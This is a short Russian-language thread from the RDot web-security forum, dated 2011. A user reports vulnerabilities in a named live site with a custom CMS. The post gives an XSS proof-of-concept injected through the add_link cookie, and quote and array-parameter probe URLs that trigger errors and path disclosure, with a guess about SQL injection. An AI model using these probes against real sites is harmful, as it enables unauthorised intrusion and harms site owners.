RDot

RDot (https://rdot.org/forum/index.php)
-   Аудит Web-приложений/Web Application Security Audit (https://rdot.org/forum/forumdisplay.php?f=27)
-   -   Аудит сайта на самописной системе управления (https://rdot.org/forum/showthread.php?t=1412)

AKYLA 05.10.2011 19:57

При Пост запросе /users/profile/
Уязвим параметр куки add_link
Цитата:

add_link=134"/><script>alert(204389)</script>;
Вылазят ошибки и раскрытие путей, по поводу скули не знаю, крутиться или нет
Цитата:

http://cph.su/scripts/girls/girls_go.php?type='
http://cph.su/index.php?name%5B%5D=1


Часовой пояс GMT +3, время: 18:05.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot